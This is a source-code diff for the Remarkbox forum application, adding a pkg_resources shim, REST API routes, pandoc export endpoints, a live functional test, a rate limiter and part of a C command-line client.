config.add_request_method(add_saas_home, "saas_home", reify=True) config.add_request_method(add_saas_home, "saas_home", reify=True)
config.add_request_method(add_stripe, "stripe", reify=True) config.add_request_method(add_static_version, "static_version", reify=True)
config.add_request_method(add_stripe_customer, "stripe_customer", reify=True)
config.add_request_method(add_stripe_saved_cards, "stripe_saved_cards", reify=True)
config.add_request_method(add_stripe_active_card, "stripe_active_card", reify=True)
config.add_request_method(add_stand_alone_mode, "stand_alone_mode", reify=True) config.add_request_method(add_stand_alone_mode, "stand_alone_mode", reify=True)
config.add_request_method(add_avatar_size, "avatar_size", reify=True) config.add_request_method(add_avatar_size, "avatar_size", reify=True)
config.add_request_method(add_theme, "theme", reify=True) config.add_request_method(add_theme, "theme", reify=True)
@ -546,10 +628,20 @@ def main(global_config, **settings):
config.add_request_method(add_page_offset, "page_offset", reify=True) config.add_request_method(add_page_offset, "page_offset", reify=True)
config.add_request_method(add_node_order, "node_order", reify=True) config.add_request_method(add_node_order, "node_order", reify=True)
config.add_request_method(add_mathjax, "mathjax", reify=True) config.add_request_method(add_mathjax, "mathjax", reify=True)
config.add_request_method(add_theme_mode, "theme_mode", reify=True)
config.add_request_method(add_webmentions, "webmentions", reify=True)
# API routes must be included before .routes because
# basic-show-node2 (/{node_id}/{slug:.*}) is a catch-all
# that would match /api/v1/* paths otherwise.
config.include("remarkbox.api")
# all of the web application routes. # all of the web application routes.
config.include(".routes") config.include(".routes")
# Rate limiting tween for API endpoints.
config.add_tween("remarkbox.api.rate_limit.rate_limit_tween_factory")
# Scan for views. # Scan for views.
config.scan() config.scan()

View file

View file

@ -0,0 +1,115 @@
"""
Minimal vendored pkg_resources shim for Remarkbox.
setuptools 81 dropped pkg_resources from its distribution. Pyramid (and a
handful of other libraries) still import it. This shim provides the narrow
surface pyramid actually uses, backed entirely by stdlib (importlib.resources,
importlib.import_module). No setuptools coupling, no jaraco.text, no
platformdirs. Bleeding-edge friendly.
Surface (only what pyramid touches):
resource_filename(package, name) -> str
resource_stream(package, name) -> IO[bytes]
resource_string(package, name) -> bytes
resource_exists(package, name) -> bool
resource_isdir(package, name) -> bool
resource_listdir(package, name) -> list[str]
DefaultProvider -- class, subclassable
register_loader_type -- no-op registry stub
If a future dependency needs more of the legacy pkg_resources API, extend
this file. Do not pull in upstream setuptools' pkg_resources/__init__.py
(3700 lines + jaraco.text + platformdirs); that defeats the point.
"""
import os
from importlib.resources import files
def _ref(package, name=""):
if not isinstance(package, str):
package = package.__name__
ref = files(package)
if name:
ref = ref / name
return ref
def resource_filename(package, name):
return str(_ref(package, name))
def resource_stream(package, name):
return _ref(package, name).open("rb")
def resource_string(package, name):
return _ref(package, name).read_bytes()
def resource_exists(package, name):
try:
ref = _ref(package, name)
except (FileNotFoundError, ModuleNotFoundError):
return False
try:
return ref.is_file() or ref.is_dir()
except (FileNotFoundError, NotADirectoryError):
return False
def resource_isdir(package, name):
try:
return _ref(package, name).is_dir()
except (FileNotFoundError, ModuleNotFoundError, NotADirectoryError):
return False
def resource_listdir(package, name):
try:
return [child.name for child in _ref(package, name).iterdir()]
except (FileNotFoundError, ModuleNotFoundError, NotADirectoryError):
return []
class DefaultProvider:
"""Minimal stand-in for pkg_resources.DefaultProvider.
Pyramid subclasses this to wire its asset-override system. The `manager`
arg in get_resource_* (originally a ResourceManager for zip-egg cache
extraction) is unused modern pip installs are unpacked directories.
"""
def __init__(self, module):
self.module = module
self.module_path = None
if getattr(module, "__file__", None):
self.module_path = os.path.dirname(module.__file__)
def _name(self):
return self.module.__name__
def get_resource_filename(self, manager, resource_name):
return resource_filename(self._name(), resource_name)
def get_resource_stream(self, manager, resource_name):
return resource_stream(self._name(), resource_name)
def get_resource_string(self, manager, resource_name):
return resource_string(self._name(), resource_name)
def has_resource(self, resource_name):
return resource_exists(self._name(), resource_name)
def resource_isdir(self, resource_name):
return resource_isdir(self._name(), resource_name)
def resource_listdir(self, resource_name):
return resource_listdir(self._name(), resource_name)
_LOADER_TYPES = {}
def register_loader_type(loader_class, provider_class):
_LOADER_TYPES[loader_class] = provider_class

32
remarkbox/api/__init__.py Normal file
View file

@ -0,0 +1,32 @@
def includeme(config):
config.add_route("api-version", "/api/v1/version")
config.add_route("api-threads-list", "/api/v1/threads")
config.add_route("api-threads-search", "/api/v1/threads/search")
config.add_route("api-thread-detail", "/api/v1/threads/{node_id}")
config.add_route("api-thread-replies", "/api/v1/threads/{node_id}/replies")
# Wiki / revision routes (must come before api-node-detail catch-all)
config.add_route("api-node-revisions", "/api/v1/nodes/{node_id}/revisions")
config.add_route("api-node-wiki-edit", "/api/v1/nodes/{node_id}/wiki-edit")
config.add_route("api-node-detail", "/api/v1/nodes/{node_id}")
config.add_route("api-revision-detail", "/api/v1/revisions/{revision_id}")
config.add_route("api-revision-diff", "/api/v1/revisions/{revision_id}/diff/{other_id}")
config.add_route("api-auth-login", "/api/v1/auth/login")
config.add_route("api-auth-verify", "/api/v1/auth/verify")
config.add_route("api-user-profile", "/api/v1/user/profile")
config.add_route("api-client-python", "/api/v1/clients/python")
config.add_route("api-client-c", "/api/v1/clients/c")
config.add_route("api-webmention", "/api/v1/webmention")
config.add_route("api-admin-namespaces", "/api/v1/admin/namespaces")
config.add_route("api-admin-recent-nodes", "/api/v1/admin/recent-nodes")
# Export routes — {subpath} captures "name.format" or "node_id.format"
config.add_route("api-export-formats", "/api/v1/export/formats")
config.add_route("api-export-namespace", "/api/v1/export/namespace/{subpath}")
config.add_route("api-export-thread", "/api/v1/export/threads/{subpath}")
config.add_route("api-export-node", "/api/v1/export/nodes/{subpath}")
# Theme routes
config.add_route("api-namespace-theme", "/api/v1/themes/{namespace_name}/css")
config.add_route("api-theme-preview", "/api/v1/themes/{namespace_name}/preview")
config.scan("remarkbox.api.views")
config.scan("remarkbox.api.export")
config.scan("remarkbox.api.wiki")
config.scan("remarkbox.api.themes")

350
remarkbox/api/export.py Normal file
View file

@ -0,0 +1,350 @@
"""Export API — render threads and namespaces via pandoc.
URI scheme:
GET /api/v1/export/namespace/{name}.{format} full book
GET /api/v1/export/threads/{node_id}.{format} single chapter
GET /api/v1/export/nodes/{node_id}.{format} on-demand subthread
GET /api/v1/export/formats list available formats
"""
import logging
import subprocess
from pyramid.response import Response
from pyramid.view import view_config
from remarkbox.models.namespace import get_namespace_by_name
from remarkbox.models.node import (
get_node_by_id,
get_nodes_who_share_root,
)
from remarkbox.lib.pandoc import (
convert,
node_tree_to_markdown,
namespace_to_markdown,
get_available_output_formats,
resolve_format,
CONTENT_TYPES,
FILE_EXTENSIONS,
BINARY_FORMATS,
)
from remarkbox.lib import provenance as prov
from .views import check_namespace_api_access
log = logging.getLogger(__name__)
def _public_host(request):
"""Return the host the user is browsing from.
The edge proxy rewrites the Host header (e.g. www.foxhop.net foxhop.net)
before reaching origin. Caddy preserves the original in X-Forwarded-Host,
so prefer that when present otherwise fall back to request.host.
Handles a comma-separated chain by taking the first entry.
"""
forwarded = request.headers.get("X-Forwarded-Host", "")
if forwarded:
return forwarded.split(",")[0].strip()
return request.host
def _parse_format_from_subpath(subpath):
"""Extract format from the subpath (e.g. 'abc-123.md' -> ('abc-123', 'markdown')).
Extensions are resolved through EXTENSION_ALIASES so users can hit common
file extensions (.md, .html, .tex) instead of pandoc's internal names.
"""
if "." in subpath:
stem, ext = subpath.rsplit(".", 1)
return stem, resolve_format(ext)
return subpath, "markdown"
def _export_response(content, to_format, filename_stem):
"""Build a Response for exported content."""
content_type = CONTENT_TYPES.get(to_format, "application/octet-stream")
ext = FILE_EXTENSIONS.get(to_format, "")
filename = "{}{}".format(filename_stem, ext)
is_binary = isinstance(content, bytes)
response = Response(
body=content if is_binary else content.encode("utf-8"),
content_type=content_type,
)
response.content_disposition = 'attachment; filename="{}"'.format(filename)
return response
# ---------------------------------------------------------------------------
# List formats
# ---------------------------------------------------------------------------
@view_config(
route_name="api-export-formats",
request_method="GET",
renderer="json",
require_csrf=False,
)
def api_export_formats(request):
"""List all available export formats."""
available = sorted(get_available_output_formats())
return {
"formats": available,
"count": len(available),
}
# ---------------------------------------------------------------------------
# Export thread (single root node = chapter)
# ---------------------------------------------------------------------------
@view_config(
route_name="api-export-thread",
request_method="GET",
require_csrf=False,
)
def api_export_thread(request):
"""Export a single thread (root node + all replies) in any pandoc format."""
subpath = request.matchdict["subpath"]
node_id, to_format = _parse_format_from_subpath(subpath)
available = get_available_output_formats()
if to_format not in available:
request.response.status_code = 400
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Unsupported format: {}".format(to_format),
"available": sorted(available),
}
return request.response
node = get_node_by_id(request.dbsession, node_id)
if node is None:
request.response.status_code = 404
request.response.content_type = "application/json"
request.response.json_body = {"error": "Thread not found"}
return request.response
root = node if node.is_root else node.root
namespace = root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
request.response.content_type = "application/json"
request.response.json_body = denied
return request.response
# Fetch all visible nodes in the thread
nodes = get_nodes_who_share_root(
request.dbsession, root,
exclude_root=True,
visibility_filters={"disabled": False},
).all()
# Build provenance bundle so the exported document points back to its
# living source on Remarkbox (canonical URI + QR + per-reply permalinks).
# Use request.host (the host the export was actually fetched from) so
# canonical URIs preserve user-facing prefixes like `www.` that the
# namespace's stored name may omit.
provenance = prov.build(
canonical_uri=prov.canonical_uri_for_node(root, host=_public_host(request)),
version=request.static_version,
kind="thread",
host=_public_host(request),
)
# Render tree to markdown
md = node_tree_to_markdown(root, nodes, provenance=provenance)
title = root.title or str(root.id)
if to_format in ("markdown", "gfm", "commonmark"):
# Short-circuit: already markdown, no pandoc needed
return _export_response(md, to_format, root.slug or str(root.id))
try:
output = convert(md, from_format="markdown", to_format=to_format, title=title)
except subprocess.CalledProcessError as e:
log.error("Pandoc conversion failed: %s", e.stderr)
request.response.status_code = 500
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Conversion failed",
"detail": e.stderr[:500] if e.stderr else "unknown error",
}
return request.response
return _export_response(output, to_format, root.slug or str(root.id))
# ---------------------------------------------------------------------------
# Export namespace (full book)
# ---------------------------------------------------------------------------
@view_config(
route_name="api-export-namespace",
request_method="GET",
require_csrf=False,
)
def api_export_namespace(request):
"""Export an entire namespace as a book in any pandoc format."""
subpath = request.matchdict["subpath"]
name, to_format = _parse_format_from_subpath(subpath)
available = get_available_output_formats()
if to_format not in available:
request.response.status_code = 400
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Unsupported format: {}".format(to_format),
"available": sorted(available),
}
return request.response
namespace = get_namespace_by_name(request.dbsession, name)
if namespace is None:
request.response.status_code = 404
request.response.content_type = "application/json"
request.response.json_body = {"error": "Namespace not found"}
return request.response
denied = check_namespace_api_access(request, namespace)
if denied:
request.response.content_type = "application/json"
request.response.json_body = denied
return request.response
roots = namespace.visible_roots.all()
def node_fetcher(root):
return get_nodes_who_share_root(
request.dbsession, root,
exclude_root=True,
visibility_filters={"disabled": False},
).all()
provenance = prov.build(
canonical_uri=prov.canonical_uri_for_namespace(namespace, host=_public_host(request)),
version=request.static_version,
kind="namespace",
host=_public_host(request),
)
md = namespace_to_markdown(namespace, roots, node_fetcher, provenance=provenance)
title = namespace.description or namespace.name
if to_format in ("markdown", "gfm", "commonmark"):
return _export_response(md, to_format, name)
try:
output = convert(md, from_format="markdown", to_format=to_format, title=title)
except subprocess.CalledProcessError as e:
log.error("Pandoc conversion failed: %s", e.stderr)
request.response.status_code = 500
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Conversion failed",
"detail": e.stderr[:500] if e.stderr else "unknown error",
}
return request.response
return _export_response(output, to_format, name)
# ---------------------------------------------------------------------------
# Export node (on-demand subthread at any depth)
# ---------------------------------------------------------------------------
@view_config(
route_name="api-export-node",
request_method="GET",
require_csrf=False,
)
def api_export_node(request):
"""Export a node and its subtree in any pandoc format (on-demand)."""
subpath = request.matchdict["subpath"]
node_id, to_format = _parse_format_from_subpath(subpath)
available = get_available_output_formats()
if to_format not in available:
request.response.status_code = 400
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Unsupported format: {}".format(to_format),
"available": sorted(available),
}
return request.response
node = get_node_by_id(request.dbsession, node_id)
if node is None:
request.response.status_code = 404
request.response.content_type = "application/json"
request.response.json_body = {"error": "Node not found"}
return request.response
namespace = node.root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
request.response.content_type = "application/json"
request.response.json_body = denied
return request.response
# For a non-root node, we need to get its subtree.
# Fetch all nodes in the root's tree, then filter to descendants.
from remarkbox.models.node import get_graph_from_nodes, flatten_graph
all_nodes = get_nodes_who_share_root(
request.dbsession, node.root,
visibility_filters={"disabled": False},
).all()
# Include root so the graph is complete
all_with_root = [node.root] + list(all_nodes) if not node.is_root else list(all_nodes)
graph = get_graph_from_nodes(all_with_root)
# Get descendant IDs of the target node
if node.id in graph:
descendant_ids = set(flatten_graph(node.id, graph, include_given_node_id=False))
else:
descendant_ids = set()
# Filter to just the subtree
subtree_nodes = [n for n in all_nodes if n.id in descendant_ids]
provenance = prov.build(
canonical_uri=prov.canonical_uri_for_node(node, host=_public_host(request)),
version=request.static_version,
kind="subthread",
host=_public_host(request),
)
md = node_tree_to_markdown(
node, subtree_nodes, include_root=True, provenance=provenance,
)
title = node.title or "Thread {}".format(str(node.id)[:8])
if to_format in ("markdown", "gfm", "commonmark"):
slug = node.slug or str(node.id)
return _export_response(md, to_format, slug)
try:
output = convert(md, from_format="markdown", to_format=to_format, title=title)
except subprocess.CalledProcessError as e:
log.error("Pandoc conversion failed: %s", e.stderr)
request.response.status_code = 500
request.response.content_type = "application/json"
request.response.json_body = {
"error": "Conversion failed",
"detail": e.stderr[:500] if e.stderr else "unknown error",
}
return request.response
slug = node.slug or str(node.id)
return _export_response(output, to_format, slug)

View file

@ -0,0 +1,370 @@
"""
Functional test of the Remarkbox API against a live instance.
Uses cookie persistence so authentication survives across runs.
First run requires an OTP; subsequent runs reuse the session.
Creates one persistent "API Testing Journey" thread and appends
a new section on each run. All other operations are reads.
Usage:
# First run (sends OTP, prompts for code):
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com
# With OTP on command line:
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com 173786
# Subsequent runs reuse saved session:
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com
# Set display name (idempotent):
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com --name timehexon
# Specify existing journey thread to append to:
python functional_test.py ... --journey 9f970183-ffaf-11f0-b565-040140774501
"""
import argparse
import datetime
import json
import os
import sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from remarkbox_client import RemarkboxClient, RemarkboxError
THREAD_TITLE = "API Testing Journey"
DEFAULT_COOKIE_DIR = os.path.join(os.path.expanduser("~"), ".config", "remarkbox")
PASS = "PASS"
FAIL = "FAIL"
class JournalWriter:
"""Collects test results and builds a markdown journal section."""
def __init__(self):
self.lines = []
self.results = []
self._step = 0
def step(self, title):
self._step += 1
self.lines.append("### {}. {}".format(self._step, title))
def note(self, text):
self.lines.append(text)
def blank(self):
self.lines.append("")
def log(self, test_name, passed, detail=""):
mark = "+" if passed else "!"
status = PASS if passed else FAIL
print(" [{}] {} {}{}".format(mark, status, test_name,
": " + detail if detail else ""))
self.results.append(passed)
return passed
@property
def passed(self):
return sum(1 for r in self.results if r)
@property
def total(self):
return len(self.results)
def summary_line(self):
return "**{}/{} passed.**".format(self.passed, self.total)
def render(self):
return "\n".join(self.lines)
def ensure_authenticated(client, email, otp=None):
"""Return True if authenticated, attempting login/verify if needed."""
try:
profile = client.get_profile()
if profile.get("user"):
return True, "reused session"
except RemarkboxError:
pass
# Request OTP on this client, then verify
login_result = client.login(email)
status = login_result.get("status")
if otp and status in ("sent", "throttled"):
try:
result = client.verify(email, otp)
if result.get("status") == "authenticated":
return True, "verified otp"
except RemarkboxError:
pass
# Need interactive OTP
if status == "throttled":
print("\n OTP already sent to {} (check inbox)".format(email))
else:
print("\n OTP sent to {}".format(email))
otp = input(" Enter 6-digit code: ").strip()
result = client.verify(email, otp)
return result.get("status") == "authenticated", "verified otp"
def find_journey_thread(client, namespace):
"""Find existing journey thread by title, or return None."""
data = client.list_threads(namespace)
for thread in data.get("threads", []):
if thread["title"].strip() == THREAD_TITLE:
return thread["id"]
return None
def run(url, namespace, email, otp=None, display_name=None, journey_id=None):
cookie_file = os.path.join(DEFAULT_COOKIE_DIR, "cookies.txt")
os.makedirs(DEFAULT_COOKIE_DIR, exist_ok=True)
client = RemarkboxClient(url, email=email, cookie_file=cookie_file)
j = JournalWriter()
now = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
# ---------------------------------------------------------------
# Phase 1: Read operations (no trace)
# ---------------------------------------------------------------
print("\nPhase 1: Read operations")
j.step("List Threads")
try:
data = client.list_threads(namespace)
ok = data["namespace"]["name"] == namespace
j.log("list_threads", ok, "{} threads".format(len(data["threads"])))
j.note("Fetched {} threads from `{}`.".format(len(data["threads"]), namespace))
j.blank()
except Exception as e:
j.log("list_threads", False, str(e))
j.step("Get Thread")
thread_id = None
try:
if data["threads"]:
thread_id = data["threads"][0]["id"]
detail = client.get_thread(thread_id)
ok = "thread" in detail and "replies" in detail
j.log("get_thread", ok, "{} replies".format(len(detail["replies"])))
j.note("Read thread `{}` with {} replies.".format(
thread_id[:8], len(detail["replies"])))
j.blank()
except Exception as e:
j.log("get_thread", False, str(e))
j.step("Get Node")
try:
node_data = client.get_node(thread_id)
ok = node_data["node"]["id"] == thread_id
j.log("get_node", ok)
j.note("Fetched node `{}`.".format(thread_id[:8]))
j.blank()
except Exception as e:
j.log("get_node", False, str(e))
j.step("Error Handling")
try:
client.list_threads("")
j.log("error_400", False, "expected error")
except RemarkboxError as e:
j.log("error_400", e.status == 400, "HTTP {}".format(e.status))
try:
client.get_node("00000000-0000-0000-0000-000000000000")
j.log("error_404", False, "expected error")
except RemarkboxError as e:
j.log("error_404", e.status == 404, "HTTP {}".format(e.status))
j.note("Missing namespace -> 400, nonexistent node -> 404.")
j.blank()
# ---------------------------------------------------------------
# Phase 2: Authentication
# ---------------------------------------------------------------
print("\nPhase 2: Authentication")
j.step("Authenticate")
ok, method = ensure_authenticated(client, email, otp)
j.log("authenticate", ok, method)
j.note("Authenticated via {}.".format(method))
j.blank()
if not ok:
print("\n Authentication failed. Aborting.")
return j
# ---------------------------------------------------------------
# Phase 3: Profile (idempotent)
# ---------------------------------------------------------------
print("\nPhase 3: Profile")
j.step("Get Profile")
try:
profile = client.get_profile()
current_name = profile["user"]["name"]
j.log("get_profile", True, current_name)
j.note("Current display name: `{}`.".format(current_name))
j.blank()
profile_available = True
except RemarkboxError as e:
j.log("get_profile", False, "endpoint not available (HTTP {})".format(e.status))
j.note("Profile endpoint not deployed yet -- skipping profile tests.")
j.blank()
profile_available = False
if display_name and profile_available:
j.step("Update Display Name")
result = client.update_profile(display_name)
ok = result["user"]["name"] == display_name
j.log("update_profile", ok, "{} -> {}".format(current_name, display_name))
j.note("Set display name: `{}` -> `{}`.".format(current_name, display_name))
j.blank()
# Verify idempotent (run again, same name)
result2 = client.update_profile(display_name)
j.log("update_profile_idempotent", result2["user"]["name"] == display_name,
"same name accepted")
# Verify invalid name rejected
try:
client.update_profile("bad name!!!")
j.log("error_invalid_name", False, "expected error")
except RemarkboxError as e:
j.log("error_invalid_name", e.status == 400, "HTTP {}".format(e.status))
j.note("Invalid name correctly rejected with 400.")
j.blank()
# ---------------------------------------------------------------
# Phase 4: Write operations (single journey thread)
# ---------------------------------------------------------------
print("\nPhase 4: Write operations")
# Find or create the journey thread
if not journey_id:
journey_id = find_journey_thread(client, namespace)
if journey_id:
j.step("Reuse Journey Thread")
j.log("find_journey", True, journey_id[:8])
j.note("Found existing journey thread `{}`.".format(journey_id[:8]))
j.blank()
else:
j.step("Create Journey Thread")
create_result = client.create_thread(
namespace=namespace,
title=THREAD_TITLE,
data="# {}\n\nInitial creation.".format(THREAD_TITLE),
)
journey_id = create_result["node"]["id"]
j.log("create_thread", bool(journey_id), "node {}".format(journey_id[:8]))
j.note("Created journey thread `{}`.".format(journey_id[:8]))
j.blank()
# Reply
j.step("Reply")
reply_result = client.reply(
journey_id,
data="Test reply from run at {}. "
"Verifies `POST /api/v1/threads/{{node_id}}/replies`.".format(now),
)
reply_id = reply_result["node"]["id"]
j.log("reply", bool(reply_id), "node {}".format(reply_id[:8]))
j.note("Posted reply `{}`.".format(reply_id[:8]))
j.blank()
# Edit reply
j.step("Edit Reply")
client.edit_node(
reply_id,
data="Test reply from run at {} (edited). "
"Verifies `PATCH /api/v1/nodes/{{node_id}}`.".format(now),
)
j.log("edit_reply", True)
j.note("Edited reply `{}`.".format(reply_id[:8]))
j.blank()
# ---------------------------------------------------------------
# Phase 5: Readback
# ---------------------------------------------------------------
print("\nPhase 5: Readback")
j.step("Readback")
readback = client.get_thread(journey_id)
ok = readback["thread"]["title"].strip() == THREAD_TITLE
j.log("readback", ok, "{} replies".format(len(readback["replies"])))
j.note("Read back thread: {} replies.".format(len(readback["replies"])))
j.blank()
# ---------------------------------------------------------------
# Phase 6: Update journey thread body
# ---------------------------------------------------------------
print("\nPhase 6: Update journey thread")
# +1 to count the update_journey step we're about to do
final_passed = j.passed + 1
final_total = j.total + 1
# Update the "Latest:" line in the thread body without rewriting the narrative
existing_body = readback["thread"]["data"]
import re as _re
updated_body = _re.sub(
r"\*\*Latest: .+?\*\*",
"**Latest: {}/{} passed**".format(final_passed, final_total),
existing_body,
)
if updated_body == existing_body:
# No "Latest:" line found -- append one
updated_body = existing_body.rstrip() + "\n\n**Latest: {}/{} passed**\n".format(
final_passed, final_total)
client.edit_node(journey_id, data=updated_body)
j.log("update_journey", True, "{}/{} passed".format(final_passed, final_total))
print("\n Journey: {}/api/v1/threads/{}".format(url, journey_id))
return j
def main():
parser = argparse.ArgumentParser(
description="Functional test of the Remarkbox API against a live instance."
)
parser.add_argument("url", help="Base URL (e.g. https://my.remarkbox.com)")
parser.add_argument("namespace", help="Namespace (e.g. meta.remarkbox.com)")
parser.add_argument("email", help="Email for authentication")
parser.add_argument("otp", nargs="?", default=None, help="OTP code (optional)")
parser.add_argument("--name", default=None,
help="Set display name (idempotent)")
parser.add_argument("--journey", default=None,
help="Existing journey thread ID to append to")
args = parser.parse_args()
print("Remarkbox API Functional Test")
print(" URL: {}".format(args.url))
print(" Namespace: {}".format(args.namespace))
print(" Email: {}".format(args.email))
if args.name:
print(" Name: {}".format(args.name))
if args.journey:
print(" Journey: {}".format(args.journey))
j = run(args.url, args.namespace, args.email,
otp=args.otp, display_name=args.name, journey_id=args.journey)
print("\n" + "=" * 40)
print("Results: {}/{}".format(j.passed, j.total))
if j.passed == j.total:
print("All tests passed.")
else:
print("Some tests failed.")
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,92 @@
import time
from collections import defaultdict
from pyramid.response import Response
def rate_limit_tween_factory(handler, registry):
"""
Pyramid tween that rate-limits /api/v1/ requests and enforces
the global api.enabled kill-switch.
Configuration (from .ini):
api.enabled = true
api.rate_limit.read_requests = 120
api.rate_limit.write_requests = 30
api.rate_limit.window = 60
api.rate_limit.create_thread_requests = 1
api.rate_limit.create_thread_window = 420
"""
settings = registry.settings
api_enabled = settings.get("api.enabled", "true").strip().lower() in ("true", "1", "yes")
read_limit = int(settings.get("api.rate_limit.read_requests", 120))
write_limit = int(settings.get("api.rate_limit.write_requests", 30))
window = int(settings.get("api.rate_limit.window", 60))
create_thread_limit = int(settings.get("api.rate_limit.create_thread_requests", 5))
create_thread_window = int(settings.get("api.rate_limit.create_thread_window", 3600))
# In-memory storage: {key: [timestamp, ...]}
request_log = defaultdict(list)
create_thread_log = defaultdict(list)
def rate_limit_tween(request):
if not request.path.startswith("/api/v1/"):
return handler(request)
if not api_enabled:
return Response(
json_body={"error": "API is disabled"},
status=404,
content_type="application/json",
)
auth_id = request.session.get("authenticated_user_id")
key = "user:{}".format(auth_id) if auth_id else "ip:{}".format(request.client_addr)
now = time.time()
cutoff = now - window
# Clean old entries
request_log[key] = [t for t in request_log[key] if t > cutoff]
# Determine limit based on method
limit = write_limit if request.method in ("POST", "PUT", "PATCH", "DELETE") else read_limit
if len(request_log[key]) >= limit:
retry_after = int(request_log[key][0] + window - now) + 1
return Response(
json_body={
"error": "Rate limit exceeded",
"retry_after": retry_after,
},
status=429,
content_type="application/json",
)
# Stricter limit for thread creation to prevent spam floods
is_create_thread = (
request.method == "POST" and request.path == "/api/v1/threads"
)
if is_create_thread:
ct_cutoff = now - create_thread_window
create_thread_log[key] = [
t for t in create_thread_log[key] if t > ct_cutoff
]
if len(create_thread_log[key]) >= create_thread_limit:
retry_after = int(
create_thread_log[key][0] + create_thread_window - now
) + 1
return Response(
json_body={
"error": "Thread creation rate limit exceeded",
"retry_after": retry_after,
},
status=429,
content_type="application/json",
)
create_thread_log[key].append(now)
request_log[key].append(now)
return handler(request)
return rate_limit_tween

156
remarkbox/api/rb.c Normal file
View file

@ -0,0 +1,156 @@
/*
* rb.c Remarkbox CLI client (uses rb.h library)
*
* Compile:
* gcc rb.c -o rb -lcurl
*
* Download both files:
* curl -s https://REMARKBOX/api/v1/clients/c -o rb.c
* curl -s https://REMARKBOX/api/v1/clients/c?file=rb.h -o rb.h
* gcc rb.c -o rb -lcurl
*
* Usage:
* rb [uri] <command> [args...]
*
* If uri is omitted, uses REMARKBOX_URL environment variable.
* Session cookies stored at REMARKBOX_COOKIES or ~/.config/remarkbox/cookies.txt
*
* License: Same as Remarkbox
*/
#define RB_IMPLEMENTATION
#include "rb.h"
#include <stdio.h>
#include <string.h>
#define CLI_VERSION RB_LIB_VERSION
static void usage(void)
{
fprintf(stderr,
"rb %s — Remarkbox CLI client\n"
"\n"
"Usage: rb [uri] <command> [args...]\n"
"\n"
"If uri is omitted, uses REMARKBOX_URL environment variable.\n"
"Session cookies are stored at REMARKBOX_COOKIES or\n"
"~/.config/remarkbox/cookies.txt\n"
"\n"
"Commands:\n"
" version Deployed version\n"
" threads <namespace> List threads\n"
" thread <node_id> Get thread with replies\n"
" search <namespace> <query> Search threads\n"
" node <node_id> Get a single node\n"
" post <namespace> <title> <data> [name] Create thread\n"
" reply <node_id> <data> [name] Reply to node\n"
" edit <node_id> <data> Edit a node\n"
" disable <node_id> Disable a node\n"
" enable <node_id> Enable a node\n"
" approve <node_id> Approve a node\n"
" lock <node_id> Lock a thread\n"
" unlock <node_id> Unlock a thread\n"
" delete <node_id> Delete a node\n"
" login <email> Request OTP\n"
" verify <email> <otp> Verify OTP\n"
" profile Show current user\n"
"\n"
"Examples:\n"
" rb https://my.remarkbox.com threads meta.remarkbox.com\n"
" rb threads meta.remarkbox.com # uses REMARKBOX_URL\n"
" rb login user@example.com\n"
" rb verify user@example.com 123456\n"
" rb post meta.remarkbox.com \"Title\" \"Body\" MyBot\n"
"\n"
"Compile: gcc rb.c -o rb -lcurl\n"
"\n", CLI_VERSION);
}
/* Run a command, print the response, return exit code. */
static int run(rb_response_t r)
{
if (r.body && r.body_len > 0)
rb_json_pretty(r.body);
int rc = r.ok ? 0 : 1;
rb_response_free(&r);
return rc;
}
int main(int argc, char *argv[])
{
const char *base_uri;
int cmd_start;
if (argc < 2) { usage(); return 1; }
/* Determine if first arg is a URI or a command */
if (strncmp(argv[1], "http://", 7) == 0 || strncmp(argv[1], "https://", 8) == 0) {
base_uri = argv[1];
cmd_start = 2;
} else {
base_uri = getenv("REMARKBOX_URL");
if (!base_uri || !*base_uri) {
fprintf(stderr, "rb: no URI provided and REMARKBOX_URL not set\n");
return 1;
}
cmd_start = 1;
}
if (cmd_start >= argc) { usage(); return 1; }
curl_global_init(CURL_GLOBAL_DEFAULT);
rb_client_t *c = rb_client_new(base_uri, NULL);
const char *cmd = argv[cmd_start];
int nargs = argc - cmd_start - 1;
char **args = argv + cmd_start + 1;
int rc = 1;
if (strcmp(cmd, "version") == 0) {
rc = run(rb_version(c));
} else if (strcmp(cmd, "threads") == 0 && nargs >= 1) {
rc = run(rb_list_threads(c, args[0]));
} else if (strcmp(cmd, "thread") == 0 && nargs >= 1) {
rc = run(rb_get_thread(c, args[0]));
} else if (strcmp(cmd, "search") == 0 && nargs >= 2) {
rc = run(rb_search_threads(c, args[0], args[1]));
} else if (strcmp(cmd, "node") == 0 && nargs >= 1) {
rc = run(rb_get_node(c, args[0]));
} else if (strcmp(cmd, "post") == 0 && nargs >= 3) {
rc = run(rb_create_thread(c, args[0], args[1], args[2],
nargs >= 4 ? args[3] : NULL));
} else if (strcmp(cmd, "reply") == 0 && nargs >= 2) {
rc = run(rb_reply(c, args[0], args[1], nargs >= 3 ? args[2] : NULL));
} else if (strcmp(cmd, "edit") == 0 && nargs >= 2) {
rc = run(rb_edit_node(c, args[0], args[1]));
} else if (strcmp(cmd, "disable") == 0 && nargs >= 1) {
rc = run(rb_disable_node(c, args[0]));
} else if (strcmp(cmd, "enable") == 0 && nargs >= 1) {
rc = run(rb_enable_node(c, args[0]));
} else if (strcmp(cmd, "approve") == 0 && nargs >= 1) {
rc = run(rb_approve_node(c, args[0]));
} else if (strcmp(cmd, "lock") == 0 && nargs >= 1) {
rc = run(rb_lock_node(c, args[0]));
} else if (strcmp(cmd, "unlock") == 0 && nargs >= 1) {
rc = run(rb_unlock_node(c, args[0]));
} else if (strcmp(cmd, "delete") == 0 && nargs >= 1) {
rc = run(rb_delete_node(c, args[0]));
} else if (strcmp(cmd, "login") == 0 && nargs >= 1) {
rc = run(rb_login(c, args[0]));
} else if (strcmp(cmd, "verify") == 0 && nargs >= 2) {
rc = run(rb_verify(c, args[0], args[1]));
} else if (strcmp(cmd, "profile") == 0) {
